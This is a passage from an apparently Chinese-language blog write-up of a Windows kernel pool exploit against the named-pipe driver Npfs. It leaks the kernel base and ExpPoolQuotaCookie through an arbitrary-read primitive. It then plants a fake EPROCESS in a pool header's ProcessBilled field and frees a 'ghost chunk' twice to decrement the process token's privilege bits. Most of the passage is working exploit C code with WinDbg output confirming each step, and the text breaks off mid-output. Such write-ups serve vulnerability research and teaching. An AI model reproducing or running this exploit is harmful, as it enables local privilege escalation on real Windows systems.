//这就是Npfs的基址<br/>0: kd&gt; lmDvmNpfs<br/>Browse full module list<br/>start             end                 module name<br/>fffff803`3f090000 fffff803`3f0ac000   Npfs       (pdb symbols)          d:\symbolsxp\npfs.pdb\D55EC1D15C78BD2E15ACB3E1D6A1A1111\npfs.pdb<br/>    Loaded symbol image file: Npfs.SYS<br/>    Image path: Npfs.SYS<br/>    Image name: Npfs.SYS<br/>    Browse all global symbols  <span style="color: #e6c07b;line-height: 26px;">functions</span>  data<br/>    Image was built with /Brepro flag.<br/>    Timestamp:        B03ECFD3 (This is a reproducible build file <span style="color: #e6c07b;line-height: 26px;">hash</span>, not a timestamp)<br/>    CheckSum:         000252E2<br/>    ImageSize:        0001C000<br/>    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4<br/>    Information from resource tables:<br/>Unable to enumerate user-mode unloaded modules, Win32 error 0n30<br/>0: kd&gt; ? fffff803`3f090000 + 0x7050<br/>Evaluate expression: -8782150537136 = fffff803`3f097050<br/>0: kd&gt; ln fffff803`3f097050<br/>Browse module<br/>Set bu breakpoint<br/>(fffff803`3f097050)   Npfs!_imp_ExAllocatePoolWithTag   |  (fffff803`3f097058)   Npfs!_imp_ExFreePoolWithTag<br/>Exact matches:<br/>0: kd&gt; dq fffff803`3f097050 L1<br/>fffff803`3f097050  fffff803`39d6f010<br/>0: kd&gt; ln fffff803`39d6f010<br/>Browse module<br/>Set bu breakpoint<br/>(fffff803`39d6f010)   nt!ExAllocatePoolWithTag   |  (fffff803`39d6f0a0)   nt!ExFreePool<br/>Exact matches:<br/>    nt!ExAllocatePoolWithTag (void)<br/>0: kd&gt; ? fffff803`39d6f010 - 0x36f010<br/>Evaluate expression: -8782241333248 = fffff803`39a00000 //这就是kernel_base<br/>0: kd&gt; lmDvmNT<br/>Browse full module list<br/>start             end                 module name<br/>fffff803`39a00000 fffff803`3a4b6000   nt         (pdb symbols)          d:\symbolsxp\ntkrnlmp.pdb\90F5E1C8BBE1FE1FB8A714305EE06F361\ntkrnlmp.pdb<br/>    Loaded symbol image file: ntkrnlmp.exe<br/>    Image path: ntkrnlmp.exe<br/>    Image name: ntkrnlmp.exe<br/>    Browse all global symbols  <span style="color: #e6c07b;line-height: 26px;">functions</span>  data<br/>    Image was built with /Brepro flag.<br/>    Timestamp:        4EFCF7A9 (This is a reproducible build file <span style="color: #e6c07b;line-height: 26px;">hash</span>, not a timestamp)<br/>    CheckSum:         009785ED<br/>    ImageSize:        00AB6000<br/>    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4<br/>    Information from resource tables:<br/>Unable to enumerate user-mode unloaded modules, Win32 error 0n30<br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>8. SETUP_FAKE_EPROCESS<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">首先我们看下POOL_HEADER的结构：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">struct POOL_HEADER<br/>{<br/> char PreviousSize;<br/> char PoolIndex;<br/> char BlockSize;<br/> char PoolType;<br/> int PoolTag;<br/> Ptr64 ProcessBilled ;<br/>};<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在POOL_HEADER中，如果设置了PoolType中的PoolQuota位，那么将触发POOL HEADER中ProcessBilled指针的使用，ProcessBilled字段存储经过如下所示的运算后的值。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">ProcessBilled = EPROCESS_PTR ^ ExpPoolQuotaCookie ^ CHUNK_ADDR<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当块被释放时，内核将检查ProcessBilled字段编码的指针是否是一个有效的EPROCESS指针</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">process_ptr = (struct _EPROCESS *)(chunk_addr ^ ExpPoolQuotaCookie ^ chunk_addr -&gt;process_billed );<br/><span style="color: #c678dd;line-height: 26px;">if</span> ( process_ptr )<br/>{<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (process_ptr &lt; 0xFFFF800000000000 || (process_ptr -&gt;Header.Type &amp; 0x7F) != 3 )<br/> KeBugCheckEx ([...])<br/> [...]<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如果是有效的指针，释放块后，内核将尝试返还与EPROCESS相关的用于引用的Quota counter。如果此时EPROCESS是我们提供的FAKE_EPROCESS，它将使用FAKE_EPROCESS结构体来寻找要解引用的指针值。这将提供任意递减原语。递减的值是PoolHeader中的BlockSize。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">我们的最终目的是为了提权，那么这里用到的提权方法是设置EPROCESS中TOKEN结构体的Privileges.Enable字段和Privileges.Present字段，默认情况下，低完整性级别的Token的Privileges.Present被设置为0x602880000，Privileges.Enable被设置为0x800000，这时具有的权限只有SeChangeNotifyPrivilege，如果想获取更多权限，例如将Privileges.Enable减1，它将变成 0x7fff，这将启用更多的权限，所以现在我们要做的就是递减TOKEN结构体的Privileges.Enable字段和Privileges.Present字段。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">所以现在需要获取ExpPoolQuotaCookie、幽灵块的地址、EXP进程的EPROCESS、EXP进程的TOKEN，以便构造一个正确的FAKE_EPROCESS结构。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">exploit_arbitrary_read(&amp;xploit, xploit.kernel_base + NT_POOLQUOTACOOKIE_OFFSET, (char *)&amp;xploit.ExpPoolQuotaCookie, 0x8);<br/><span style="color: #e6c07b;line-height: 26px;">printf</span>(<span style="color: #98c379;line-height: 26px;">&#34;[+] ExpPoolQuotaCookie is : 0x%llx\n&#34;</span>, xploit.ExpPoolQuotaCookie);<br/><span style="color: #c678dd;line-height: 26px;">if</span> (!find_self_eprocess(&amp;xploit))//获取EXP进程的ERPCESS地址<br/>        goto leave;<br/>exploit_arbitrary_read(&amp;xploit, xploit.self_eprocess + 0x360, (char *)&amp;xploit.self_token, 0x8);<br/>xploit.self_token = xploit.self_token &amp; (~0xF);<br/>setup_fake_eprocess(&amp;xploit);<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">获取到的值如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd&gt; ? fffff803`39a00000 + 0x5748D0<br/>Evaluate expression: -8782235612976 = fffff803`39f748d0<br/>0: kd&gt; ln fffff803`39f748d0<br/>Browse module<br/>Set bu breakpoint<br/>(fffff803`39f748d0)   nt!ExpPoolQuotaCookie   |  (fffff803`39f748d8)   nt!PspEnclaveDispatchReturn<br/>Exact matches:<br/>0: kd&gt; ? fffff803`39a00000 + 0x5743A0<br/>Evaluate expression: -8782235614304 = fffff803`39f743a0<br/>0: kd&gt; ln fffff803`39f743a0 //system进程的EPROCESS<br/>Browse module<br/>Set bu breakpoint<br/>(fffff803`39f743a0)   nt!PsInitialSystemProcess   |  (fffff803`39f743a8)   nt!PpmPlatformStates<br/>Exact matches:<br/>0: kd&gt; dt nt!_EPROCESS 0xFFFFE102FFBBD0C0<br/>   +0x000 Pcb              : _KPROCESS<br/>   +0x2e0 ProcessLock      : _EX_PUSH_LOCK<br/>   +0x2e8 UniqueProcessId  : 0x00000000`0000073c Void<br/>   +0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0xffffe102`fa0c5370 - 0xffffe102`ffc09370 ]//通过遍历这个结构，就可以找到EXP进程的EPROCESS<br/>   +0x300 RundownProtect   : _EX_RUNDOWN_REF<br/>   +0x308 Flags2           : 0x200d000<br/> ........................................<br/>   +0x360 Token            : _EX_FAST_REF <br/> ........................................<br/>   +0x410 QuotaBlock       : 0xffffe102`fd322d40 _EPROCESS_QUOTA_BLOCK //这就是将要被递减的Quota counter 偏移为0x410<br/> ........................................<br/>   +0x450 ImageFileName    : [15]  <span style="color: #98c379;line-height: 26px;">&#34;poc_exploit-re&#34;</span><br/>0: kd&gt; ? 0xFFFFE102FFBBD0C0+0x360<br/>Evaluate expression: -34071980026848 = ffffe102`ffbbd420<br/>0: kd&gt; dq ffffe102`ffbbd420 L1<br/>ffffe102`ffbbd420  ffffb800`08ddb064<br/>0: kd&gt; ? ffffb800`08ddb064 &amp; 0xFFFFFFFFFFFFFFF0<br/>Evaluate expression: -79164688453536 = ffffb800`08ddb060 //这里才是真实的TOKEN值<br/>0: kd&gt; dt nt!_TOKEN ffffb800`08ddb060<br/>   +0x000 TokenSource      : _TOKEN_SOURCE<br/>   +0x010 TokenId          : _LUID<br/>   +0x018 AuthenticationId : _LUID<br/>   +0x020 ParentTokenId    : _LUID<br/>   +0x028 ExpirationTime   : _LARGE_INTEGER 0x7fffffff`ffffffff<br/>   +0x030 TokenLock        : 0xffffe102`fe18dc90 _ERESOURCE<br/>   +0x038 ModifiedId       : _LUID<br/>   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES<br/>   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY<br/>   +0x078 SessionId        : 1<br/>   ............................................<br/>0: kd&gt; dx -id 0,0,ffffe102fa07b300 -r1 (*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0))<br/>(*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0))                 [Type: _SEP_TOKEN_PRIVILEGES]<br/>    [+0x000] Present          : 0x602880000 [Type: unsigned __int64] //默认值为0x602880000<br/>    [+0x008] Enabled          : 0x800000 [Type: unsigned __int64] //默认值为0x800000<br/>    [+0x010] EnabledByDefault : 0x40800000 [Type: unsigned __int64]<br/>0: kd&gt; !TOKEN ffffb800`08ddb060<br/>_TOKEN 0xffffb80008ddb060<br/> 19 0x000000013 SeShutdownPrivilege               Attributes - <br/>  23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default //默认只有SeChangeNotifyPrivilege权限<br/> 25 0x000000019 SeUndockPrivilege                 Attributes - <br/>  33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - <br/>  34 0x000000022 SeTimeZonePrivilege               Attributes - <br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此时构造FAKE_EPROCESS所需的值已经全都拿到了</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">void setup_fake_eprocess(xploit_t * xploit)<br/>{<br/>    char fake_eprocess_attribute_buf[0x1000] = {0};<br/>    char fake_eprocess_buf[0x10000] = {0};<br/>    strcpy(fake_eprocess_attribute_buf, DUMB_ATTRIBUTE_NAME2);<br/>    initFakeEprocess(fake_eprocess_buf, (PVOID)xploit-&gt;self_token + 0x48);//填入self_token + 0x48<br/> //<span style="color: #5c6370;font-style: italic;line-height: 26px;">#define DUMB_ATTRIBUTE_NAME2 &#34;DUMB2&#34;  </span><br/> //<span style="color: #5c6370;font-style: italic;line-height: 26px;">#define DUMB_ATTRIBUTE_NAME2_LEN  sizeof(DUMB_ATTRIBUTE_NAME2)</span><br/>    memcpy(fake_eprocess_attribute_buf + DUMB_ATTRIBUTE_NAME2_LEN, fake_eprocess_buf, FAKE_EPROCESS_SIZE);<br/>    initFakeEprocess(fake_eprocess_buf, (PVOID)xploit-&gt;self_token + 0x41);//self_token + 0x41<br/>    memcpy(fake_eprocess_attribute_buf + DUMB_ATTRIBUTE_NAME2_LEN + FAKE_EPROCESS_SIZE, fake_eprocess_buf, FAKE_EPROCESS_SIZE);<br/>    xploit-&gt;alloc_fake_eprocess(xploit, fake_eprocess_attribute_buf);<br/>    <span style="color: #e6c07b;line-height: 26px;">printf</span>(<span style="color: #98c379;line-height: 26px;">&#34;[+] fake_eprocess is : 0x%llx\n&#34;</span>, xploit-&gt;fake_eprocess);<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">self_token + 0x48和self_token + 0x41的值如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd&gt; ? ffffb800`08ddb060 + 0x41<br/>Evaluate expression: -79164688453471 = ffffb800`08ddb0a1<br/>0: kd&gt; dq ffffb800`08ddb0a1 L1<br/>ffffb800`08ddb0a1  00000000`06028800 //Privileges.Present<br/>0: kd&gt; ? ffffb800`08ddb060 + 0x48<br/>Evaluate expression: -79164688453464 = ffffb800`08ddb0a8<br/>0: kd&gt; dq ffffb800`08ddb0a8 L1<br/>ffffb800`08ddb0a8  00000000`00800000 //Privileges.Enable<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">将Fake_EPROCESS填充到POOL_HEADER的ProcessBilled字段</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">xploit.setup_final_write(&amp;xploit, final_write_buf);//这里将Pipe_Attribute属性中特定偏移处的值设置为幽灵块原始的Pipe_Attribute的值，以防蓝屏<br/>free_pipes(xploit.respray);<br/>xploit.respray = NULL;<br/>free_pipes(xploit.rewrite);//释放漏洞块<br/>xploit.rewrite = NULL;<br/>xploit.final_write = prepare_pipes(SPRAY_SIZE * 10, xploit.targeted_vuln_size + POOL_HEADER_SIZE, final_write_buf, xploit.spray_type);<br/><span style="color: #c678dd;line-height: 26px;">if</span> (!spray_pipes(xploit.final_write))//重新占用漏洞块，且修复了Pipe_Attribute为原始值，并且将ProcessBilled指针设置为Fake_Eprocess异或后的值<br/>        goto leave_wait;<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">填充完Fake_EPROCESS后，幽灵块的Pipe_Attribute如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd&gt; dq ffffb80008cfb3e0<br/>ffffb800`08cfb3e0  7441704e`03190000 ffffffff`ffffffff<br/>ffffb800`08cfb3f0  ffffb800`09126710 ffffb800`09126710<br/>ffffb800`08cfb400  ffffb800`08cfb418 00000000`00000156<br/>ffffb800`08cfb410  ffffb800`08cfb41a 46464646`4646005a<br/>ffffb800`08cfb420  41424344`08210000 d60eba94`936c5d5f<br/>ffffb800`08cfb430  ffffb800`0885a190 ffffb800`0885a190 //list_nest已经还原<br/>ffffb800`08cfb440  00000000`0040e85a 46464646`46464646<br/>ffffb800`08cfb450  46464646`46464646 46464646`46464646<br/>0: kd&gt; dt nt!_POOL_HEADER ffffb800`08cfb420<br/>   +0x000 PreviousSize     : 0y00000000 (0)<br/>   +0x000 PoolIndex        : 0y00000000 (0)<br/>   +0x002 BlockSize        : 0y00100001 (0x21)<br/>   +0x002 PoolType         : 0y00001000 (0x8)<br/>   +0x000 Ulong1           : 0x8210000<br/>   +0x004 PoolTag          : 0x41424344<br/>   +0x008 ProcessBilled    : 0xd60eba94`936c5d5f _EPROCESS //这里是经过异或的FAKE_EPROCESS<br/>   +0x008 AllocatorBackTraceIndex : 0x5d5f<br/>   +0x00a PoolTagHash      : 0x936c<br/>0: kd&gt; dq fffff803`39f748d0 L1<br/>fffff803`39f748d0  d60ee396`61a519ef<br/>0: kd&gt; ? 0xd60eba94`936c5d5f ^ d60ee396`61a519ef ^ ffffb800`08cfb420<br/>Evaluate expression: -34072075767664 = ffffe102`fa06f090 //<br/>0: kd&gt; dt nt!_EPROCESS ffffe102`fa06f090<br/>   +0x000 Pcb              : _KPROCESS<br/>   +0x2e0 ProcessLock      : _EX_PUSH_LOCK<br/>   +0x2e8 UniqueProcessId  : 0x41414141`41414141 Void<br/>   +0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0x41414141`41414141 - 0x41414141`41414141 ]<br/>   +0x300 RundownProtect   : _EX_RUNDOWN_REF<br/>   .........................................<br/>   +0x410 QuotaBlock       : 0xffffb800`08ddb0a8 _EPROCESS_QUOTA_BLOCK<br/>   +0x418 ObjectTable      : 0x41414141`41414141 _HANDLE_TABLE<br/>   .........................................<br/>0: kd&gt; dq 0xffffb80008ddb0a8 L1<br/>ffffb800`08ddb0a8  00000000`00800000 //FAKE_EPROCESS的QuotaBlock已经被填充为TOKEN的Privileges.Enable，这个值将会在幽灵块释放后被递减<br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>9. 第一次释放幽灵块<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当释放幽灵块时，FAKE_EPROCESS相关的Quota counter将会被递减，也就是会对Privileges.Enable进行递减。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">xploit.free_ghost_chunk(&amp;xploit);//第一次释放幽灵块<br/>xploit.alloc_ghost_chunk(&amp;xploit, attribute);//再次占用幽灵块<br/>free_pipes(xploit.final_write);<br/>xploit.final_write = NULL;<br/>spray_pipes(xploit.final_write2);//第一次释放幽灵块后，这里再次占用漏洞块，然后将新的幽灵块的ProcessBilled继续填充为FAKE_EPROCESS<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第一次释放幽灵块</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd&gt; dq ffffb80008cfb3e0<br/>ffffb800`08cfb3e0  7441704e`03190000 ffffffff`ffffffff<br/>ffffb800`08cfb3f0  ffffb800`0956c870 ffffb800`0956c870<br/>ffffb800`08cfb400  ffffb800`08cfb418 00000000`00000156<br/>ffffb800`08cfb410  ffffb800`08cfb41a 46464646`4646005a<br/>ffffb800`08cfb420  41424344`08e40000 d60eba94`936c581f<br/>ffffb800`08cfb430  ffffb800`0885a190 ffffb800`0885a190<br/>ffffb800`08cfb440  00000000`0040e85a 46464646`46464646<br/>ffffb800`08cfb450  46464646`46464646 46464646`46464646<br/>0: kd&gt; dx -id 0,0,ffffe102fa07b300 -r1 (*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0))<br/>(*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0))                 [Type: _SEP_TOKEN_PRIVILEGES]<br/>    [+0x000] Present          : 0x602880000 [Type: unsigned __int64]<br/>    [+0x008] Enabled          : 0x7ffdf0 [Type: unsigned __int64] //可以看到，Privileges.Enable的值已经改变<br/>    [+0x010] EnabledByDefault : 0x40800000 [Type: unsigned __int64]<br/>0: kd&gt; dt nt!_POOL_HEADER ffffb800`08cfb420<br/>   +0x000 PreviousSize     : 0y00000000 (0)<br/>   +0x000 PoolIndex        : 0y00000000 (0)<br/>   +0x002 BlockSize        : 0y11100100 (0xe4)<br/>   +0x002 PoolType         : 0y00001000 (0x8)<br/>   +0x000 Ulong1           : 0x8e40000<br/>   +0x004 PoolTag          : 0x41424344<br/>   +0x008 ProcessBilled    : 0xd60eba94`936c581f _EPROCESS //这是第二次准备递减的异或后的FAKE_EPROCESS<br/>   +0x008 AllocatorBackTraceIndex : 0x581f<br/>   +0x00a PoolTagHash      : 0x936c<br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>10. 第二次释放幽灵块<span style="display: none;"></span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">xploit.free_ghost_chunk(&amp;xploit);<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第二次释放幽灵块后，Privileges.Present也已经修改成功。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd&gt; dx -id 0,0,ffffe102fa07b300 -r1 (*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0))<br/>(*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES 